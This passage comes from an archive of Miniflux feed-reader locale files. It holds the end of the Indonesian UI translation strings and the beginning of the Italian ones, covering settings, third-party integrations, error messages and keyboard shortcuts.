"page.integration.bookmarklet.name": "Tambahkan ke Miniflux",
"page.integration.bookmarklet.instructions": "Seret dan tempatkan tautan ini ke markah Anda.",
"page.integration.bookmarklet.help": "Tautan spesial ini memperbolehkan Anda untuk berlangganan ke situs langsung dengan menggunakan markah di peramban web Anda.",
"page.sessions.title": "Sesi",
"page.sessions.table.date": "Tanggal",
"page.sessions.table.ip": "Alamat IP",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "Tindakan",
"page.sessions.table.current_session": "Sesi Saat Ini",
"page.api_keys.title": "Kunci API",
"page.api_keys.table.description": "Deskripsi",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Terakhir Digunakan",
"page.api_keys.table.created_at": "Tanggal Pembuatan",
"page.api_keys.table.actions": "Tindakan",
"page.api_keys.never_used": "Tidak Pernah Digunakan",
"page.new_api_key.title": "Kunci API Baru",
"page.offline.title": "Mode Luring",
"page.offline.message": "Anda sedang luring",
"page.offline.refresh_page": "Coba untuk memuat ulang halaman ini",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Tidak ada entri yang dibagikan.",
"alert.no_bookmark": "Tidak ada markah.",
"alert.no_category": "Tidak ada kategori.",
"alert.no_category_entry": "Tidak ada artikel di kategori ini.",
"alert.no_tag_entry": "Tidak ada entri yang cocok dengan tag ini.",
"alert.no_feed_entry": "Tidak ada artikel di umpan ini.",
"alert.no_feed": "Anda tidak memiliki langganan.",
"alert.no_feed_in_category": "Tidak ada langganan untuk kategori ini.",
"alert.no_history": "Tidak ada riwayat untuk saat ini.",
"alert.feed_error": "Ada masalah dengan umpan ini",
"alert.no_search_result": "Tidak ada hasil untuk pencarian ini.",
"alert.no_unread_entry": "Belum ada artikel yang dibaca.",
"alert.no_user": "Anda adalah satu-satunya pengguna.",
"alert.account_unlinked": "Akun eksternal Anda sudah terputus!",
"alert.account_linked": "Akun eksternal Anda sudah terhubung!",
"alert.pocket_linked": "Akun Pocket Anda sudah terhubung!",
"alert.prefs_saved": "Preferensi disimpan!",
"error.unlink_account_without_password": "Anda harus mengatur kata sandi atau Anda tidak bisa masuk kembali.",
"error.duplicate_linked_account": "Sudah ada orang lain yang terhubung dengan penyedia ini!",
"error.duplicate_fever_username": "Sudah ada orang lain dengan nama pengguna Fever yang sama!",
"error.duplicate_googlereader_username": "Sudah ada orang lain dengan nama pengguna Google Reader yang sama!",
"error.pocket_request_token": "Tidak bisa mendapatkan token permintaan dari Pocket!",
"error.pocket_access_token": "Tidak bisa mendapatkan token akses dari Pocket!",
"error.category_already_exists": "Kategori ini telah ada.",
"error.unable_to_create_category": "Tidak bisa membuat kategori ini.",
"error.unable_to_update_category": "Tidak bisa memperbarui kategori ini.",
"error.user_already_exists": "Pengguna ini sudah ada.",
"error.unable_to_create_user": "Tidak bisa membuat pengguna tersebut.",
"error.unable_to_update_user": "Tidak bisa memperbarui pengguna tersebut.",
"error.unable_to_update_feed": "Tidak bisa memperbarui umpan ini.",
"error.subscription_not_found": "Tidak bisa mencari langganan apa pun.",
"error.invalid_theme": "Tema tidak valid.",
"error.invalid_language": "Bahasa tidak valid.",
"error.invalid_timezone": "Zona waktu tidak valid.",
"error.invalid_entry_direction": "Urutan entri tidak valid.",
"error.invalid_display_mode": "Mode tampilan aplikasi web tidak valid.",
"error.invalid_gesture_nav": "Navigasi gestur tidak valid.",
"error.invalid_default_home_page": "Beranda baku tidak valid!",
"error.empty_file": "Berkas ini kosong.",
"error.bad_credentials": "Nama pengguna atau kata sandi tidak valid.",
"error.fields_mandatory": "Semua bidang diharuskan.",
"error.title_required": "Judul diharuskan.",
"error.different_passwords": "Kata sandi tidak sama.",
"error.password_min_length": "Kata sandi harus memiliki setidaknya 6 karakter.",
"error.settings_mandatory_fields": "Harus ada nama pengguna, tema, bahasa, dan zona waktu.",
"error.settings_reading_speed_is_positive": "Kecepatan membaca harus integer positif.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "Jumlah entri per halaman tidak valid.",
"error.feed_mandatory_fields": "Harus ada URL dan kategorinya.",
"error.feed_already_exists": "Umpan ini sudah ada.",
"error.invalid_feed_url": "URL umpan tidak valid.",
"error.invalid_site_url": "URL situs tidak valid.",
"error.feed_url_not_empty": "URL umpan tidak boleh kosong.",
"error.site_url_not_empty": "URL situs tidak boleh kosong.",
"error.feed_title_not_empty": "Judul umpan tidak boleh kosong.",
"error.feed_category_not_found": "Kategori ini tidak ada atau tidak dipunyai oleh pengguna ini.",
"error.feed_invalid_blocklist_rule": "Aturan blokir tidak valid.",
"error.feed_invalid_keeplist_rule": "Aturan simpan tidak valid.",
"error.user_mandatory_fields": "Harus ada nama pengguna.",
"error.api_key_already_exists": "Kunci API ini sudah ada.",
"error.unable_to_create_api_key": "Tidak bisa membuat kunci API ini.",
"form.feed.label.title": "Judul",
"form.feed.label.site_url": "URL Situs",
"form.feed.label.feed_url": "URL Umpan",
"form.feed.label.description": "Deskripsi",
"form.feed.label.category": "Kategori",
"form.feed.label.crawler": "Ambil konten asli",
"form.feed.label.feed_username": "Nama Pengguna Umpan",
"form.feed.label.feed_password": "Kata Sandi Umpan",
"form.feed.label.user_agent": "Timpa User Agent Baku",
"form.feed.label.cookie": "Atur Kuki",
"form.feed.label.scraper_rules": "Aturan Pengambil Data",
"form.feed.label.rewrite_rules": "Aturan Tulis Ulang",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.blocklist_rules": "Aturan Blokir",
"form.feed.label.keeplist_rules": "Aturan Simpan",
"form.feed.label.urlrewrite_rules": "Aturan Tulis Ulang URL",
"form.feed.label.ignore_http_cache": "Abaikan Tembolok HTTP",
"form.feed.label.allow_self_signed_certificates": "Perbolehkan sertifikat web tidak valid atau sertifikasi sendiri",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Ambil via Proksi",
"form.feed.label.disabled": "Jangan perbarui umpan ini",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Sembunyikan entri di daftar belum dibaca global",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Judul",
"form.category.hide_globally": "Sembunyikan entri di daftar belum dibaca global",
"form.user.label.username": "Nama Pengguna",
"form.user.label.password": "Kata Sandi",
"form.user.label.confirmation": "Konfirmasi Kata Sandi",
"form.user.label.admin": "Administrator",
"form.prefs.label.language": "Bahasa",
"form.prefs.label.timezone": "Zona Waktu",
"form.prefs.label.theme": "Tema",
"form.prefs.label.entry_sorting": "Pengurutan Entri",
"form.prefs.label.entries_per_page": "Entri per Halaman",
"form.prefs.label.default_reading_speed": "Kecepatan membaca untuk bahasa lain (kata per menit)",
"form.prefs.label.cjk_reading_speed": "Kecepatan membaca untuk bahasa Tiongkok, Korea, dan Jepang (karakter per menit)",
"form.prefs.label.display_mode": "Mode Tampilan Aplikasi Web (perlu pemasangan ulang)",
"form.prefs.select.older_first": "Entri tertua dulu",
"form.prefs.select.recent_first": "Entri terbaru dulu",
"form.prefs.select.fullscreen": "Layar Penuh",
"form.prefs.select.standalone": "Tersendiri",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.browser": "Peramban",
"form.prefs.select.publish_time": "Waktu entri dipublikasikan",
"form.prefs.select.created_time": "Waktu entri dibuat",
"form.prefs.select.alphabetical": "Secara alfabet",
"form.prefs.select.unread_count": "Jumlah yang belum dibaca",
"form.prefs.select.none": "Tidak ada",
"form.prefs.select.tap": "Ketuk dua kali",
"form.prefs.select.swipe": "Geser",
"form.prefs.label.keyboard_shortcuts": "Aktifkan pintasan papan tik",
"form.prefs.label.entry_swipe": "Aktifkan tindakan geser pada entri di ponsel",
"form.prefs.label.gesture_nav": "Isyarat untuk menavigasi antar entri",
"form.prefs.label.show_reading_time": "Tampilkan perkiraan waktu baca untuk artikel",
"form.prefs.label.custom_css": "Modifikasi CSS",
"form.prefs.label.custom_js": "Modifikasi JavaScript",
"form.prefs.label.entry_order": "Pengurutan Kolom Entri",
"form.prefs.label.default_home_page": "Beranda Baku",
"form.prefs.label.categories_sorting_order": "Pengurutan Kategori",
"form.prefs.label.mark_read_on_view": "Secara otomatis menandai entri sebagai telah dibaca saat dilihat",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "Berkas OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Aktifkan API Fever",
"form.integration.fever_username": "Nama Pengguna Fever",
"form.integration.fever_password": "Kata Sandi Fever",
"form.integration.fever_endpoint": "Titik URL API Fever:",
"form.integration.googlereader_activate": "Aktifkan API Google Reader",
"form.integration.googlereader_username": "Nama Pengguna Google Reader",
"form.integration.googlereader_password": "Kata Sandi Google Reader",
"form.integration.googlereader_endpoint": "Titik URL API Google Reader:",
"form.integration.pinboard_activate": "Simpan artikel ke Pinboard",
"form.integration.pinboard_token": "Token API Pinboard",
"form.integration.pinboard_tags": "Tanda di Pinboard",
"form.integration.pinboard_bookmark": "Tandai markah sebagai belum dibaca",
"form.integration.instapaper_activate": "Simpan artikel ke Instapaper",
"form.integration.instapaper_username": "Nama Pengguna Instapaper",
"form.integration.instapaper_password": "Kata Sandi Instapaper",
"form.integration.pocket_activate": "Simpan artikel ke Pocket",
"form.integration.pocket_consumer_key": "Kunci Pelanggan Pocket",
"form.integration.pocket_access_token": "Token Akses Pocket",
"form.integration.pocket_connect_link": "Hubungkan akun Pocket Anda",
"form.integration.wallabag_activate": "Simpan artikel ke Wallabag",
"form.integration.wallabag_only_url": "Kirim hanya URL (alih-alih konten penuh)",
"form.integration.wallabag_endpoint": "URL Dasar Wallabag",
"form.integration.wallabag_client_id": "ID Klien Wallabag",
"form.integration.wallabag_client_secret": "Rahasia Klien Wallabag",
"form.integration.wallabag_username": "Nama Pengguna Wallabag",
"form.integration.wallabag_password": "Kata Sandi Wallabag",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Simpan artikel ke Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Titik URL API Nunux Keeper",
"form.integration.nunux_keeper_api_key": "Kunci API Nunux Keeper",
"form.integration.omnivore_activate": "Simpan artikel ke Omnivore",
"form.integration.omnivore_url": "Titik URL API Omnivore",
"form.integration.omnivore_api_key": "Kunci API Omnivore",
"form.integration.espial_activate": "Simpan artikel ke Espial",
"form.integration.espial_endpoint": "Titik URL API Espial",
"form.integration.espial_api_key": "Kunci API Espial",
"form.integration.espial_tags": "Tanda di Espial",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Kirim artikel baru ke percakapan Telegram",
"form.integration.telegram_bot_token": "Token Bot",
"form.integration.telegram_chat_id": "ID Obrolan",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Simpan artikel ke Linkding",
"form.integration.linkding_endpoint": "Titik URL API Linkding",
"form.integration.linkding_api_key": "Kunci API Linkding",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Tandai markah sebagai belum dibaca",
"form.integration.linkwarden_activate": "Simpan artikel ke Linkwarden",
"form.integration.linkwarden_endpoint": "Titik URL API Linkwarden",
"form.integration.linkwarden_api_key": "Kunci API Linkwarden",
"form.integration.matrix_bot_activate": "Kirim entri baru ke Matrix",
"form.integration.matrix_bot_user": "Nama Pengguna Matrix",
"form.integration.matrix_bot_password": "Kata Sandi Matrix",
"form.integration.matrix_bot_url": "URL Peladen Matrix",
"form.integration.matrix_bot_chat_id": "ID Ruang Matrix",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Simpan artikel ke Readeck",
"form.integration.readeck_endpoint": "Titik URL API Readeck",
"form.integration.readeck_api_key": "Kunci API Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Kirim hanya URL (alih-alih konten penuh)",
"form.integration.shiori_activate": "Save articles to Shiori",
"form.integration.shiori_endpoint": "Shiori API Endpoint",
"form.integration.shiori_username": "Shiori Username",
"form.integration.shiori_password": "Shiori Password",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "Label Kunci API",
"form.submit.loading": "Memuat...",
"form.submit.saving": "Menyimpan...",
"time_elapsed.not_yet": "belum",
"time_elapsed.yesterday": "kemarin",
"time_elapsed.now": "baru saja",
"time_elapsed.minutes": [
"%d menit yang lalu"
],
"time_elapsed.hours": [
"%d jam yang lalu"
],
"time_elapsed.days": [
"%d hari yang lalu"
],
"time_elapsed.weeks": [
"%d pekan yang lalu"
],
"time_elapsed.months": [
"%d bulan yang lalu"
],
"time_elapsed.years": [
"%d tahun yang lalu"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Kecepatan pemutaran audio/video",
"error.settings_media_playback_rate_range": "Kecepatan pemutaran di luar jangkauan",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/it_IT.json 0000664 0000000 0000000 00000106265 14743520056 0021566 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Sei sicuro?",
"confirm.question.refresh": "Vuoi forzare l'aggiornamento?",
"confirm.yes": "sì",
"confirm.no": "no",
"confirm.loading": "In corso...",
"action.subscribe": "Abbonati",
"action.save": "Salva",
"action.or": "o",
"action.cancel": "cancella",
"action.remove": "Elimina",
"action.remove_feed": "Elimina questo feed",
"action.update": "Aggiorna",
"action.edit": "Modifica",
"action.download": "Scarica",
"action.import": "Importa",
"action.login": "Accedi",
"action.home_screen": "Aggiungere alla schermata Home",
"tooltip.keyboard_shortcuts": "Scorciatoia da tastiera: %s",
"tooltip.logged_user": "Autenticato come %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Da leggere",
"menu.starred": "Preferiti",
"menu.history": "Cronologia",
"menu.feeds": "Feed",
"menu.categories": "Categorie",
"menu.settings": "Impostazioni",
"menu.logout": "Esci",
"menu.preferences": "Preferenze",
"menu.integrations": "Integrazioni",
"menu.sessions": "Sessioni",
"menu.users": "Utenti",
"menu.about": "Informazioni",
"menu.export": "Esporta",
"menu.import": "Importa",
"menu.search": "Cerca",
"menu.create_category": "Aggiungi una categoria",
"menu.mark_page_as_read": "Segna questa pagina come letta",
"menu.mark_all_as_read": "Segna tutti gli articoli come letti",
"menu.show_all_entries": "Mostra tutte le voci",
"menu.show_only_unread_entries": "Mostra solo voci non lette",
"menu.show_only_starred_entries": "Mostra solo voci preferiti",
"menu.refresh_feed": "Aggiorna",
"menu.refresh_all_feeds": "Aggiorna tutti i feed in background",
"menu.edit_feed": "Modifica",
"menu.edit_category": "Modifica",
"menu.add_feed": "Aggiungi feed",
"menu.add_user": "Aggiungi utente",
"menu.flush_history": "Svuota la cronologia",
"menu.feed_entries": "Articoli",
"menu.api_keys": "Chiavi API",
"menu.create_api_key": "Crea una nuova chiave API",
"menu.shared_entries": "Voci condivise",
"search.label": "Cerca",
"search.placeholder": "Cerca...",
"search.submit": "Search",
"pagination.next": "Successivo",
"pagination.last": "Last",
"pagination.first": "First",
"pagination.previous": "Precedente",
"entry.status.unread": "Da leggere",
"entry.status.read": "Letto",
"entry.status.toast.unread": "Contrassegnato come non letto",
"entry.status.toast.read": "Contrassegnato come letto",
"entry.status.title": "Cambia lo stato dell'articolo",
"entry.bookmark.toggle.on": "Aggiungi ai preferiti",
"entry.bookmark.toggle.off": "Rimuovi dai preferiti",
"entry.bookmark.toast.on": "Ha recitato",
"entry.bookmark.toast.off": "Non speciali",
"entry.state.saving": "Salvataggio in corso...",
"entry.state.loading": "Caricamento in corso...",
"entry.save.label": "Salva",
"entry.save.title": "Salva questo articolo",
"entry.save.completed": "Fatto!",
"entry.save.toast.completed": "Articolo salvato",
"entry.scraper.label": "Scarica",
"entry.scraper.title": "Scarica il contenuto integrale",
"entry.scraper.completed": "Fatto!",
"entry.external_link.label": "Link esterno",
"entry.comments.label": "Commenti",
"entry.comments.title": "Mostra i commenti",
"entry.share.label": "Condividi",
"entry.share.title": "Condividi questo articolo",
"entry.unshare.label": "Unshare",
"entry.shared_entry.title": "Apri il link pubblico",
"entry.shared_entry.label": "Condivisione",
"entry.estimated_reading_time": [
"%d minuto di lettura",
"%d minuti di lettura"
],
"entry.tags.label": "Tag:",
"page.shared_entries.title": "Voci condivise",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "Da leggere",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "Preferiti",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "Categorie",
"page.categories.no_feed": "Nessun feed.",
"page.categories.entries": "Articoli",
"page.categories.feeds": "Abbonamenti",
"page.categories.feed_count": [
"C'è %d feed.",
"Ci sono %d feed."
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.new_category.title": "Nuova categoria",
"page.new_user.title": "Nuovo utente",
"page.edit_category.title": "Modifica categoria: %s",
"page.edit_user.title": "Modifica utente: %s",
"page.feeds.title": "Feed",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Ultimo controllo:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Numero di voci lette",
"page.feeds.error_count": [
"%d errore",
"%d errori"
],
"page.history.title": "Cronologia",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "Importa",
"page.search.title": "Risultati della ricerca",
"page.about.title": "Informazioni",
"page.about.credits": "Crediti",
"page.about.version": "Versione:",
"page.about.build_date": "Data della build:",
"page.about.author": "Autore:",
"page.about.license": "Licenza:",
"page.about.global_config_options": "Opzioni di configurazione globali",
"page.about.postgres_version": "Postgres versione:",
"page.about.go_version": "Go versione:",
"page.add_feed.title": "Nuovo feed",
"page.add_feed.no_category": "Nessuna categoria selezionata. Devi scegliere almeno una categoria.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Abbonati al feed",
"page.add_feed.legend.advanced_options": "Opzioni avanzate",
"page.add_feed.choose_feed": "Scegli un feed",
"page.edit_feed.title": "Modifica feed: %s",
"page.edit_feed.last_check": "Ultimo controllo:",
"page.edit_feed.last_modified_header": "Header LastModified:",
"page.edit_feed.etag_header": "Header ETag:",
"page.edit_feed.no_header": "Nessun header",
"page.edit_feed.last_parsing_error": "Ultimo errore di parsing",
"page.entry.attachments": "Allegati",
"page.keyboard_shortcuts.title": "Scorciatoie da tastiera",
"page.keyboard_shortcuts.subtitle.sections": "Navigazione sezioni",
"page.keyboard_shortcuts.subtitle.items": "Navigazione articoli",
"page.keyboard_shortcuts.subtitle.pages": "Navigazione pagine",
"page.keyboard_shortcuts.subtitle.actions": "Azioni",
"page.keyboard_shortcuts.go_to_unread": "Mostra gli articoli da leggere",
"page.keyboard_shortcuts.go_to_starred": "Mostra i preferiti",
"page.keyboard_shortcuts.go_to_history": "Mostra la cronologia",
"page.keyboard_shortcuts.go_to_feeds": "Mostra i feed",
"page.keyboard_shortcuts.go_to_categories": "Mostra le categorie",
"page.keyboard_shortcuts.go_to_settings": "Mostra le impostazioni",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Mostra le scorciatoie da tastiera",
"page.keyboard_shortcuts.go_to_previous_item": "Mostra l'articolo precedente",
"page.keyboard_shortcuts.go_to_next_item": "Mostra l'articolo successivo",
"page.keyboard_shortcuts.go_to_feed": "Mostra il feed",
"page.keyboard_shortcuts.go_to_previous_page": "Mostra la pagina precedente",
"page.keyboard_shortcuts.go_to_next_page": "Mostra la pagina successiva",
"page.keyboard_shortcuts.go_to_bottom_item": "Vai all'elemento in fondo",
"page.keyboard_shortcuts.go_to_top_item": "Vai all'elemento principale",
"page.keyboard_shortcuts.open_item": "Apri l'articolo selezionato",
"page.keyboard_shortcuts.open_original": "Apri la pagina web originale",
"page.keyboard_shortcuts.open_original_same_window": "Apri il link originale nella scheda corrente",
"page.keyboard_shortcuts.open_comments": "Apri la pagina web dei commenti",
"page.keyboard_shortcuts.open_comments_same_window": "Apri il link dei commenti nella scheda corrente",
"page.keyboard_shortcuts.toggle_read_status_next": "Cambia lo stato di lettura (letto/da leggere), concentrati dopo",
"page.keyboard_shortcuts.toggle_read_status_prev": "Cambia lo stato di lettura (letto/da leggere), focus precedente",
"page.keyboard_shortcuts.refresh_all_feeds": "Aggiorna tutti i feed in background",
"page.keyboard_shortcuts.mark_page_as_read": "Segna la pagina attuale come letta",
"page.keyboard_shortcuts.download_content": "Scarica il contenuto integrale",
"page.keyboard_shortcuts.toggle_bookmark_status": "Aggiungi/rimuovi dai preferiti",
"page.keyboard_shortcuts.save_article": "Salva l'articolo",
"page.keyboard_shortcuts.scroll_item_to_top": "Scorri l'articolo in alto",
"page.keyboard_shortcuts.remove_feed": "Rimuovi questo feed",
"page.keyboard_shortcuts.go_to_search": "Apri la casella di ricerca",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Chiudi la finestra di dialogo",
"page.users.title": "Utenti",
"page.users.username": "Nome utente",
"page.users.never_logged": "Mai",
"page.users.admin.yes": "Sì",
"page.users.admin.no": "No",
"page.users.actions": "Azioni",
"page.users.last_login": "Ultimo accesso",
"page.users.is_admin": "Amministratore",
"page.settings.title": "Impostazioni",
"page.settings.link_google_account": "Collega il mio account Google",
"page.settings.unlink_google_account": "Scollega il mio account Google",
"page.settings.link_oidc_account": "Collega il mio account %s",
"page.settings.unlink_oidc_account": "Scollega il mio account %s",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Registra la chiave di accesso",
"page.settings.webauthn.register.error": "Impossibile registrare la passkey",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Rimuovi %d passkey",
"Rimuovi %d passkey"
],
"page.login.title": "Accedi",
"page.login.google_signin": "Accedi tramite Google",
"page.login.oidc_signin": "Accedi tramite %s",
"page.login.webauthn_login": "Accedi con passkey",
"page.login.webauthn_login.error": "Impossibile accedere con passkey",
"page.integrations.title": "Integrazioni",
"page.integration.miniflux_api": "API di Miniflux",
"page.integration.miniflux_api_endpoint": "Endpoint dell'API di Miniflux",
"page.integration.miniflux_api_username": "Nome utente",
"page.integration.miniflux_api_password": "Password",
"page.integration.miniflux_api_password_value": "La password del tuo account",
"page.integration.bookmarklet": "Segnalibro",
"page.integration.bookmarklet.name": "Aggiungi a Miniflux",
"page.integration.bookmarklet.instructions": "Trascina questo collegamento sui tuoi segnalibri.",
"page.integration.bookmarklet.help": "Questo collegamento speciale ti consente di abbonarti ad un sito web semplicemente usando un segnalibro del tuo browser.",
"page.sessions.title": "Sessioni",
"page.sessions.table.date": "Data",
"page.sessions.table.ip": "Indirizzo IP",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "Azioni",
"page.sessions.table.current_session": "Sessione corrente",
"page.api_keys.title": "Chiavi API",
"page.api_keys.table.description": "Descrizione",
"page.api_keys.table.token": "Gettone",
"page.api_keys.table.last_used_at": "Ultimo uso",
